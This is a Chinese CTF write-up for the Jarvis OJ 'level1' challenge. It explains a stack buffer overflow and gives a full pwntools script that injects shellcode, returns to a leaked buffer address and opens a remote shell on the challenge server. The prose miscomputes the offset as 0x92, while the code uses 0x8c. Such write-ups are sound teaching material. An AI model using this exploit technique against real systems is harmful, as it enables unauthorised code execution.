思路WP
- 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串buf到ret的偏移为(0x4-(-0x88),一共为0x92。




- 但同样的,read函数向buf中输入的数据最大可为0x100。同样属于栈溢出,但该题并没有为我们提供callsteam函数,因此需要我们自行写,但因为pwntool的强大,我们可以使用pwn中的asm(shellcraft.sh())函数来直接获取执行。
- system(“/bin/sh”)汇编代码所对应的机器码,但此时我们还需要得到buf的地址,经过调试可以知道当与服务器进行链接后,在服务器返回"What's this:%p?\n"后会有加上一个地址,由代码逻辑可知,这个地址就是buf的地址,由图片知其位置在[14:-2].

- 因此我们将之截取,并保存在buf_addr中。因此我们把shellcode的代码从buf的起始地址开始填充,然后buf中剩下的地址有a填充,因为我们最后需要调用shellcode代码,因此再加上buf_addr(记得将之字符化)
代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())
#io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
#print text[14:-2]
buf_addr = int(text, 16)
payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
解释
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n
int()表示将得到的地址转换为16进制数
结果

网友评论